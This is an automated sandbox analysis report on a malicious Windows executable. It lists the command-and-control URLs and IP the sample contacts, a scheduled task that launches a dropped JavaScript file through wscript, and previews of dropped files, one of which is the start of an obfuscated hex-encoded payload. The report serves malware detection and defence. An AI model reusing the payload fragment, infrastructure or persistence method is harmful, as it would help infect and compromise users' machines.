            		unknownfalse
              		unknown

              Contacted URLs

              NameMaliciousAntivirus DetectionReputation
              https://bd0baba4.site/index.phptrue
              • Avira URL Cloud: safe
              		unknown

              URLs from Memory and Binaries

              NameSourceMaliciousAntivirus DetectionReputation
              https://bd0baba4.sitewscript.exe, 0000000A.00000002.3369313927.00000000006F9000.00000004.00000010.00020000.00000000.sdmpfalse
              • Avira URL Cloud: safe
              		unknown
              https://bd0baba4.site/index.php-Nwscript.exe, 0000000A.00000002.3369609341.0000000002A52000.00000004.00000020.00020000.00000000.sdmpfalse
              • Avira URL Cloud: safe
              		unknown
              https://bd0baba4.store/inwscript.exe, 0000000A.00000002.3370809663.0000000005373000.00000004.00000020.00020000.00000000.sdmpfalse
              • Avira URL Cloud: safe
              		unknown
              https://bd0baba4.online/index.phpwscript.exe, 0000000A.00000002.3370693123.00000000051DA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000002.3370131318.0000000004CB8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.3370436183.000000000544D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.3370834799.0000000005895000.00000004.00000020.00020000.00000000.sdmpfalse
              • Avira URL Cloud: safe
              		unknown
              https://bd0ba/index.phpwscript.exe, 0000000B.00000002.3369330783.0000000002BF9000.00000004.00000010.00020000.00000000.sdmpfalse
              • Avira URL Cloud: safe
              		unknown
              https://bd0baba4.site/index.phpPwscript.exe, 0000000A.00000002.3370809663.0000000005353000.00000004.00000020.00020000.00000000.sdmpfalse
              • Avira URL Cloud: safe
              		unknown
              https://bd0baba4.store/index.phpwscript.exe, 0000000A.00000002.3369947317.0000000004C10000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000002.3370693123.00000000051DA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000A.00000002.3370131318.0000000004CB8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.3370436183.000000000544D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.3369537830.0000000002EE8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.3370834799.0000000005895000.00000004.00000020.00020000.00000000.sdmpfalse
              • Avira URL Cloud: safe
              		unknown
              https://bd0baba4.site/wwscript.exe, 0000000A.00000002.3369609341.0000000002A52000.00000004.00000020.00020000.00000000.sdmpfalse
              • Avira URL Cloud: safe
              		unknown
              https://bd0baba4.sitehpwscript.exe, 0000000A.00000002.3369313927.00000000006F9000.00000004.00000010.00020000.00000000.sdmpfalse
              • Avira URL Cloud: safe
              		unknown
              https://bd0baba4.site/index.php_Pwscript.exe, 0000000A.00000002.3370809663.0000000005373000.00000004.00000020.00020000.00000000.sdmpfalse
              • Avira URL Cloud: safe
              		unknown
              https://bd0baba4.site/index.phpdllwscript.exe, 0000000B.00000002.3371056470.0000000005A30000.00000004.00000020.00020000.00000000.sdmpfalse
              • Avira URL Cloud: safe
              		unknown
              https://bd0baba4.site/lwscript.exe, 0000000A.00000002.3370809663.0000000005373000.00000004.00000020.00020000.00000000.sdmpfalse
              • Avira URL Cloud: safe
              		unknown
              https://bd0baba4.site:443/index.phpwscript.exe, 0000000A.00000002.3369609341.0000000002A52000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.3369537830.0000000002F85000.00000004.00000020.00020000.00000000.sdmpfalse
              • Avira URL Cloud: safe
              		unknown
              https://bd0baba4.site/IWwscript.exe, 0000000B.00000002.3371056470.0000000005A9D000.00000004.00000020.00020000.00000000.sdmpfalse
              • Avira URL Cloud: safe
              		unknown
              https://bd0baba4.site/wscript.exe, 0000000B.00000002.3369537830.0000000002F93000.00000004.00000020.00020000.00000000.sdmpfalse
              • Avira URL Cloud: safe
              		unknown
              https://bd0baba4.store/index.phpowscript.exe, 0000000A.00000002.3370809663.0000000005310000.00000004.00000020.00020000.00000000.sdmpfalse
              • Avira URL Cloud: safe
              		unknown
              https://bd0baba4.site/index.wscript.exe, 0000000A.00000002.3370809663.0000000005373000.00000004.00000020.00020000.00000000.sdmpfalse
              • Avira URL Cloud: safe
              		unknown

              World Map of Contacted IPs

              • No. of IPs < 25%
              • 25% < No. of IPs < 50%
              • 50% < No. of IPs < 75%
              • 75% < No. of IPs

              Public IPs

              IPDomainCountryFlagASNASN NameMalicious
              185.159.131.230
              		bd0baba4.siteRussian Federation
              		64439ITOS-ASRUtrue

              General Information

              Joe Sandbox version:41.0.0 Charoite
              Analysis ID:1585978
              Start date and time:2025-01-08 15:46:09 +01:00
              Joe Sandbox product:CloudBasic
              Overall analysis duration:0h 5m 31s
              Hypervisor based Inspection enabled:false
              Report type:full
              Cookbook file name:default.jbs
              Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
              Number of analysed new started processes analysed:16
              Number of new started drivers analysed:0
              Number of existing processes analysed:0
              Number of existing drivers analysed:0
              Number of injected processes analysed:0
              Technologies:
              • HCA enabled
              • EGA enabled
              • AMSI enabled
              Analysis Mode:default
              Analysis stop reason:Timeout
              Sample name:YyVnwn8Zst.exe
              renamed because original name is a hash value
              Original Sample Name:880a3b6203fef131d20346d1258ae22031c3d84d8a35d01c8f4b7fe3729c0d0c.exe
              Detection:MAL
              Classification:mal100.rans.troj.expl.evad.winEXE@14/25@3/1
              EGA Information:
              • Successful, ratio: 100%
              HCA Information:
              • Successful, ratio: 99%
              • Number of executed functions: 81
              • Number of non-executed functions: 86
              Cookbook Comments:
              • Found application associated with file extension: .exe

              Warnings

              • Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, WmiPrvSE.exe
              • Excluded IPs from analysis (whitelisted): 13.107.246.45, 52.149.20.212
              • Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, d.3.0.0.0.0.0.0.0.0.0.0.0.0.0.0.7.0.0.0.8.0.4.0.0.3.0.1.3.0.6.2.ip6.arpa, fe3cr.delivery.mp.microsoft.com
              • Not all processes where analyzed, report is missing behavior information
              • Report size exceeded maximum capacity and may have missing behavior information.
              • Report size getting too big, too many NtCreateKey calls found.
              • Report size getting too big, too many NtOpenKeyEx calls found.
              • Report size getting too big, too many NtProtectVirtualMemory calls found.
              • Report size getting too big, too many NtQueryValueKey calls found.
              • VT rate limit hit for: YyVnwn8Zst.exe

              Simulations

              Behavior and APIs

              TimeTypeDescription
              09:47:02API Interceptor38x Sleep call for process: powershell.exe modified
              09:47:03API Interceptor1x Sleep call for process: wscript.exe modified
              15:47:05Task SchedulerRun new task: 9e146be9-9e14-6be9-9e14-9e146be99e10 path: C:\Windows\SysWOW64\wscript.exe s>"C:\Users\user\AppData\Local\9e146be90.js" 188

              Joe Sandbox View / Context

              IPs

              ⊘No context

              Domains

              ⊘No context

              ASNs

              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
              ITOS-ASRUhttps://blackshelter.orgGet hashmaliciousUnknownBrowse
              • 185.228.234.75
              file.exeGet hashmaliciousCryptbotBrowse
              • 185.228.235.50
              file.exeGet hashmaliciousLummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, VidarBrowse
              • 185.228.235.50
              file.exeGet hashmaliciousCryptbotBrowse
              • 185.228.235.50
              uMlLpvdLRU.exeGet hashmaliciousTofseeBrowse
              • 185.228.234.180
              Crt09EgZK3.exeGet hashmaliciousTofseeBrowse
              • 185.228.234.180
              6foBmRMlDy.exeGet hashmaliciousTofseeBrowse
              • 185.228.234.180
              SecuriteInfo.com.PUA.Tool.InstSrv.3.16098.13705.exeGet hashmaliciousUnknownBrowse
              • 185.228.233.50
              SecuriteInfo.com.PUA.Tool.InstSrv.3.16098.13705.exeGet hashmaliciousUnknownBrowse
              • 185.228.233.50
              81zBpBAWwc.exeGet hashmaliciousRHADAMANTHYSBrowse
              • 185.228.233.50

              JA3 Fingerprints

              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
              1138de370e523e824bbca92d049a3777Selvi Payroll Benefits & Bonus Agreementfdp.pdfGet hashmaliciousUnknownBrowse
              • 185.159.131.230
              mail (4).emlGet hashmaliciousUnknownBrowse
              • 185.159.131.230
              https://bRH5.bughtswo.com/tgs0/#bW1vb3JlQGVuYWJsZWNvbXAuY29tGet hashmaliciousUnknownBrowse
              • 185.159.131.230
              https://hallmark.greetingsweb.com/2865d1125997389a?l=22Get hashmaliciousUnknownBrowse
              • 185.159.131.230
              3e18bdf74f3caef770a7edcf748bdaf0e6a4a21664e69.exeGet hashmaliciousAsyncRAT, GhostRatBrowse
              • 185.159.131.230
              https://pharteewhi.xyz/Get hashmaliciousUnknownBrowse
              • 185.159.131.230
              https://antiphishing.vadesecure.com/v4?f=bnJjU3hQT3pQSmNQZVE3aOMl-Yxz6sxP-_mvIRuY-wdnZ1bXTFIOIwMxyCDi0KedKx4XzS44_P2zUeNIsKUb0ScW6k1yl1_sQ4IsBBcClSw_vWV34HFG0fKKBNYTYHpo&i=SGI0YVJGNmxZNE90Z2thMHUqf298Dc88cJEXrW3w1lA&k=dFBm&r=SW5LV3JodE9QZkRVZ3JEYa6kbR5XAzhHFJ0zbTQRADrRG7ugnfE15pwrEQUVhgv3E2tVXwBw8NfFSkf3wOZ0VA&s=ecaab139c1f3315ccc0d88a6451dccec431e8ce1d856e71e5109e33657c13a3c&u=https%3A%2F%2Fsender5.zohoinsights-crm.com%2Fck1%2F2d6f.327230a%2F5f929700-cca4-11ef-973d-525400f92481%2F4cb2ae4047e7a38310b2b2641663917c123a5dec%2F2%3Fe%3DGKxHQ%252FSSm8D%252B%252B3g8VEcICaLHKdekhRU94ImygZ37tRI%253DGet hashmaliciousUnknownBrowse
              • 185.159.131.230
              https://d3sdeiz39xdvhy.cloudfront.netGet hashmaliciousUnknownBrowse
              • 185.159.131.230
              https://share.hsforms.com/1Wcb3a5ziS0yUfGwanfFbLgsw4gsGet hashmaliciousUnknownBrowse
              • 185.159.131.230
              https://check.qlkwr.com/awjsx.captcha?u=8565c17d-9686-4e17-ae60-902c6d4876beGet hashmaliciousUnknownBrowse
              • 185.159.131.230

              Dropped Files

              ⊘No context

              Created / dropped Files

              C:\Users\user\AppData\Local\9e146be90.js

              Download File
              Process:C:\Windows\SysWOW64\wscript.exe
              File Type:ASCII text, with very long lines (57893), with CRLF line terminators
              Category:dropped
              Size (bytes):59774
              Entropy (8bit):3.992551020709288
              Encrypted:false
              SSDEEP:1536:QyoI1QxIag7HcbEZwunxGW/idSw+jg15Y38NmTH0+Q01FNqnq:5TGCaAvHqq
              MD5:E45E91D6A776D4D4C5A39BD13A01704D
              SHA1:566A5B9328874BA747BE4F5B331277CE15AE5898
              SHA-256:99B6062A9DABF81011E569495D0B31E7B3CDB049D73FE34AB72615FF8D1F8D39
              SHA-512:B6807C43D6EF7C526078FA7A4068D8FAA6285095EE094BD3323C6E859BF4DFED62C8EB7F15DFBCFD362C297CABC40D41C50ECCB367AF051A71185170E8CA0F3E
              Malicious:true
              Preview:..var i1a0a864a="db460075cc43160ac6420b6edb460075df42150acf460130f24c172c965113278d541739cb78163cdf1c0434df070130c1412d33c44b176edb460075da541127c457060ade4f1739c11c0434df07013dc84b1e0acc570239c4441321c4481c6edb460075cb541d6edb460075da4e1c0ac5530625965113278d501f3cf248103f965113278d501030c0781621965113278d521b31965113278d540023f2520039965113278d461638c4494f33cc4b0130965113278d500134965113278d540023f2441d3bc3421121f2531b38c8480721965113278d43052d90490739c11c0434df07012cde781327ce4f4923cc555225df442d34df441a6ecb521c36d94e1d3b8d461e30df535a26845c0f5fcb521c36d94e1d3b8d4e1c219f4f172d9e155a26845c0434df070068de09063afe53003cc3405a649b0e4922c54e1e3085555c39c8491521c51b4a7cdf1a55658a0c006edf420620df495227965a7833d8491121c4481c75df49167d845c0030d952003b8d6a1321c5091130c44b5a679c13456195144461950d3f34d94f5c27cc49163ac00f5b7c965a7833d8491121c4481c75ca421c0adf49160ade53007d845c0030d952003b8d551c31850e5c21c2740627c449157d9c115b6ed02d1420c344063cc2495232c8492d32d84e167ddd460034c00e0927c8530727c307073

              C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:data
              Category:dropped
              Size (bytes):2232
              Entropy (8bit):5.380805901110357
              Encrypted:false
              SSDEEP:48:lylWSU4y4RQmFoUeWmfgZ9tK8NPZHUm7u1iMuge//8PUyus:lGLHyIFKL3IZ2KRH9Oug8s
              MD5:F9B7CF60C22DBE6B73266580FFD54629
              SHA1:05ED734C0A5EF2ECD025D4E39321ECDC96612623
              SHA-256:880A3240A482AB826198F84F548F4CB5B906E4A2D7399D19E3EF60916B8D2D89
              SHA-512:F55EFB17C1A45D594D165B9DC4FA2D1364B38AA2B0D1B3BAAE6E1E14B8F3BD77E3A28B7D89FA7F6BF3EEF3652434228B1A42BF9851F2CFBB6A7DCC0254AAAE38
              Malicious:false
              Preview:@...e.................................^..............@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................*gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...|...........System.ConfigurationH................WY..2.M.&..g*(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

              C:\Users\user\AppData\Local\Temp\11909669

              Download File
              Process:C:\Windows\SysWOW64\wscript.exe
              File Type:data
              Category:dropped
              Size (bytes):60160
              Entropy (8bit):0.0
              Encrypted:false
              SSDEEP:3::
              MD5:A3296FD2E5D8EA20D5A72D5ECC96BDF4
              SHA1:5086E6E2C6DBB6C82E81EF8E1D1A57BB705E9A12
              SHA-256:8BC6E308EA3DEDC723B4E906654EF8502AE1D57C8C7304F9D95EC628DFAAAFA2
              SHA-512:315C56547A46686952657E821D43C9E960C56E2001557FE6413580DEA89943B7DA5ABC0321179001690E7135B9179C2E6DBB7423735CAA82F1A5AC4585B2ACD6
              Malicious:false
              Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\Local\Temp\4157934657

              Download File
              Process:C:\Users\user\Desktop\YyVnwn8Zst.exe
              File Type:ASCII text, with very long lines (57893), with CRLF line terminators
              Category:dropped
              Size (bytes):59774
              Entropy (8bit):3.992551020709288
              Encrypted:false
              SSDEEP:1536:QyoI1QxIag7HcbEZwunxGW/idSw+jg15Y38NmTH0+Q01FNqnq:5TGCaAvHqq
              MD5:E45E91D6A776D4D4C5A39BD13A01704D
              SHA1:566A5B9328874BA747BE4F5B331277CE15AE5898
              SHA-256:99B6062A9DABF81011E569495D0B31E7B3CDB049D73FE34AB72615FF8D1F8D39
              SHA-512:B6807C43D6EF7C526078FA7A4068D8FAA6285095EE094BD3323C6E859BF4DFED62C8EB7F15DFBCFD362C297CABC40D41C50ECCB367AF051A71185170E8CA0F3E
              Malicious:false
              Preview:..var i1a0a864a="db460075cc43160ac6420b6edb460075df42150acf460130f24c172c965113278d541739cb78163cdf1c0434df070130c1412d33c44b176edb460075da541127c457060ade4f1739c11c0434df07013dc84b1e0acc570239c4441321c4481c6edb460075cb541d6edb460075da4e1c0ac5530625965113278d501f3cf248103f965113278d501030c0781621965113278d521b31965113278d540023f2520039965113278d461638c4494f33cc4b0130965113278d500134965113278d540023f2441d3bc3421121f2531b38c8480721965113278d43052d90490739c11c0434df07012cde781327ce4f4923cc555225df442d34df441a6ecb521c36d94e1d3b8d461e30df535a26845c0f5fcb521c36d94e1d3b8d4e1c219f4f172d9e155a26845c0434df070068de09063afe53003cc3405a649b0e4922c54e1e3085555c39c8491521c51b4a7cdf1a55658a0c006edf420620df495227965a7833d8491121c4481c75df49167d845c0030d952003b8d6a1321c5091130c44b5a679c13456195144461950d3f34d94f5c27cc49163ac00f5b7c965a7833d8491121c4481c75ca421c0adf49160ade53007d845c0030d952003b8d551c31850e5c21c2740627c449157d9c115b6ed02d1420c344063cc2495232c8492d32d84e167ddd460034c00e0927c8530727c307073

              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a1lxci2h.tsb.ps1

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with no line terminators
              Category:dropped
              Size (bytes):60
              Entropy (8bit):4.038920595031593
              Encrypted:false
              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
              MD5:D17FE0A3F47BE24A6453E9EF58C94641
              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
              Malicious:false
              Preview:# PowerShell test file to determine AppLocker lockdown mode

              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jm5ptztb.eew.ps1

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with no line terminators
              Category:dropped
              Size (bytes):60
              Entropy (8bit):4.038920595031593
              Encrypted:false
              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
              MD5:D17FE0A3F47BE24A6453E9EF58C94641
              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
              Malicious:false
              Preview:# PowerShell test file to determine AppLocker lockdown mode

              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_maknmkya.4s1.psm1

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with no line terminators
              Category:dropped
              Size (bytes):60
              Entropy (8bit):4.038920595031593
              Encrypted:false
              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
              MD5:D17FE0A3F47BE24A6453E9EF58C94641
              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
              Malicious:false
              Preview:# PowerShell test file to determine AppLocker lockdown mode

              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_p5nm0kys.1oc.psm1

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with no line terminators
              Category:dropped
              Size (bytes):60
              Entropy (8bit):4.038920595031593
              Encrypted:false
              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
              MD5:D17FE0A3F47BE24A6453E9EF58C94641
              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
              Malicious:false
              Preview:# PowerShell test file to determine AppLocker lockdown mode

              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_snmggjjd.qfj.psm1

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with no line terminators
              Category:dropped
              Size (bytes):60
              Entropy (8bit):4.038920595031593
              Encrypted:false
              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
              MD5:D17FE0A3F47BE24A6453E9EF58C94641
              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
              Malicious:false
              Preview:# PowerShell test file to determine AppLocker lockdown mode

              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_soctrtec.eou.ps1

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with no line terminators
              Category:dropped
              Size (bytes):60
              Entropy (8bit):4.038920595031593
              Encrypted:false
              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
              MD5:D17FE0A3F47BE24A6453E9EF58C94641
              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
              Malicious:false
              Preview:# PowerShell test file to determine AppLocker lockdown mode

              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yhh5qx23.n4n.psm1

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with no line terminators
              Category:dropped
              Size (bytes):60
              Entropy (8bit):4.038920595031593
              Encrypted:false
              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
              MD5:D17FE0A3F47BE24A6453E9EF58C94641
              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
              Malicious:false
              Preview:# PowerShell test file to determine AppLocker lockdown mode

              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ymujq1dq.203.ps1

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with no line terminators
              Category:dropped
              Size (bytes):60
              Entropy (8bit):4.038920595031593
              Encrypted:false
              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
              MD5:D17FE0A3F47BE24A6453E9EF58C94641
              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
              Malicious:false
              Preview:# PowerShell test file to determine AppLocker lockdown mode

              C:\Users\user\AppData\Local\Temp\cerodedu.ads

              Download File
              Process:C:\Users\user\Desktop\YyVnwn8Zst.exe
              File Type:ASCII text, with very long lines (4023), with no line terminators
              Category:dropped
              Size (bytes):4023
              Entropy (8bit):5.944377566220237
              Encrypted:false
              SSDEEP:96:SaFznoGij0VT123lsahaBOdclhxyfEym3lUR6MrJL:SaFsGi212VX8BOChxx5lhMlL
              MD5:CBACA0553F9A13F9B540A55A5CC03BAB
              SHA1:20253B3300FB0EC9C6E56E95B4CF080C78C41719
              SHA-256:022F581CE15B4F8CE63FD9BA218B865D48124BDA1518EB3B7155D461A3BFFC37
              SHA-512:4AD20C3497E57A3BE9170D53606295CA09D0764708E5F1618BB4F25D8CDBB9A769C7857C601E41249702E14D1EAAA1BE9C17C3DB9A9408C00B387E591B01B2D9
              Malicious:false
              Preview:3dUWyRFEEtFoBFRHdpuTod1Rbs5JfG2ln2kZHn7OnjvaQtQHFaTgqfeItng6lLNB6upn3svZ8mQx9Zl3ZfXiJY2yEmFoquIL36Wl5gqdUavuhMkeRYTxIWsBLytjIVH9Lv5LnmA08FjMrsBb0PYZciu7uK0uQd9imA7kEVDHTAFhinlW85ebYFL5VsjXYIzpO4xe46AacsAAhxPW3K58jJM1to5Qj4TaJCKJW8MWcMfekDXuLZt03yy9cLnRLFzqb0DS2SPVhOtVtMAhQrFFKzsfhd90Xmtb3ddtzAyKpKuENaG4FWJ0SHDYGHBXmmEnqWZyynPieNcvrjhV2hqYvCcN25eRXB36Me4Eg9qvPAeqtOlnjKaRQfdLWBVa2lZ4zoVBynROdlSqNVPxe6zthlbHPeolFcM9uLCyBfTk4PBqCSxRz85epNdP3zWwm5gB93RuGhQ7LFjtDFyEL9Sdf6jCnFnDrPXlFdFp07Q9fZZGWJYUN54IFdkeXbSRGNMAInxCRdOxrdXOg9jUoV1iDWrZvFpE2w2y55DSXPe4DmalEMLWO0aWBZb5YxGiMpPwKZyN46BIGNHc3vy9mzwIr3sP6cFA3xiXnZin00TKDXRYDWMtyZ9InjhsCv5c7xYmuyF0KxyL9Y3IHFnfYMFR9EBcS3y1hDYJjWRPBJWjd2OE0Cb70qCwFKFlecQILDMwZyH1gBTE2HGZgphb9ugxjlEaXsxjSOOi1oEbwDSNlIQGeAwOuJTQKb4naRTJuc0Wy7MTambbF75DuzdCcWl1Zatkg0yW3sOEUbp6FWEiYKxeamJeM0a8Jl4BoEHPooG1E1mAMEHTz1bqQ5uirz9ezt3JhSYx4VYGW6SH75j49sC09toUYlymTMzVgYhkHzaI170KZpWtx4IrmJWQdnY5ycvH3SLW1wviweWCU5dNg9fNnzAe6O6YvYjSPM6KN4oO1SVE53clmu1g1WXyeZNwZe7MK0hCuw4jKvpBCsUw

              C:\Users\user\AppData\Local\Temp\esadiftwin.dm

              Download File
              Process:C:\Users\user\Desktop\YyVnwn8Zst.exe
              File Type:ASCII text, with very long lines (760), with no line terminators
              Category:dropped
              Size (bytes):760
              Entropy (8bit):5.902627394721169
              Encrypted:false
              SSDEEP:12:06RXbXLVrj+wu+O4kl7ngE3ticfkLHrlqiIuUBLgY9PdMQ2mA6ncBl+34TzY1fWL:06xjZWeT2gyiSGHrlqmUtgYjNcxY1O8a
              MD5:F1EEC66E15AFF1FCF23DBAFA9F8E205B
              SHA1:2E7C0312A98FAFB886C583BC29E1FABE11ED3CB8
              SHA-256:CAF6F4F4C11E65163472CA48F72A6BEAEE20A4AC66CD419BEF4C7B726602409B
              SHA-512:ED2EEBFE8DB6A8AAD43CA92F49CA97A570E3D904163281DD7BA01B73929672E221F2F6C36334DDD85B0D1DA69F19F3C1496ECAF12D2A3160E7291710496D473D
              Malicious:false
              Preview:Ud6VmryjNwl6QddIsyTjw2equWPnzLqvNoRBo3jAcy2COZGIfr82O9ck1tU2q4SWbdAaAE8vze8fbGn3WPxWROINdO9NIpYfou2r0rtST1xLzB4ECHcvP6A1w7UFzvkBLjnU2uVgXEQztuZmMgrGlwnfihaCAGmFAXTCRXya2HBiNDUoHtYSUkOeRh8fFLRmyQtH0w7WCf7OGo0H6xxzWZwBzMRHkZIuyUe4Wyg3LieznhLyMQnQTOmVA0SScOjDga57qBWIxmg7lX0fVLPY38v1Y1pMJZXFBCrb538ZDV0kl50ZzlCmwapWTqEEt6nKt3wWFUXMmYvgs96UccsVtCOTYbta4qYS4fWaBnVgehZGccq5Hh7U9PBY7IK8L9C76o0rloCQKhD9yW2UMrBVt2yMwB9S4NGfOnOZdBOcu3YFW7dtRd2QeGfNBngIKMf92iovN7JdM6GSMdtObPk40oerpzMC5fPqLkaCtvOOpIMzf4PjpSIpaJJpjUPNWNdvnx2NDoUdg8lWKT6zW6IYBiW4qeFPyjjAloslEeFLPiTJ0YKNWCJzzrAyGKajDQkUDahad453bk3t60h1IO5lAoainh3K9E6hZUFwDGcwTOZWWgHJyNy81EBL0DnlI2qfDDCnPjOTHf5H7Et81sVT8bmK9K9owAyoyPGoNWKm88GOW7o7923F83iJcISpFk2cvOh63tt8xzWEjaFoCY9HsQKIphZap79EB1ZhOJWQ8qYb2q8ZkTxKizKX

              C:\Users\user\AppData\Local\Temp\fautmand.pi

              Download File
              Process:C:\Users\user\Desktop\YyVnwn8Zst.exe
              File Type:ASCII text, with very long lines (1150), with no line terminators
              Category:dropped
              Size (bytes):1150
              Entropy (8bit):5.904662060691767
              Encrypted:false
              SSDEEP:24:4MFSP+6/5NE9oQsshAU9KiwpziEoWzp7xuSUFBUkq7qgf:nsmCKAG0DBYy7pf
              MD5:3440632FA1B3837FCE0E3BB4F1910138
              SHA1:0C6F8F0DE2A14542F68AB23FB20460ECDCCF7C5C
              SHA-256:DC293682142759DBEC88D19D536DF5C17B18789AF0A44BDD4879F3371BD88751
              SHA-512:A4E3A7B8ADF79E6C226E0E04FECED537D5E9B5942595F87A6F8D54151994F5B694A4487CBACF793F834680A79C757E28DE297E7660F466D23739DBCA5349DB1B
              Malicious:false
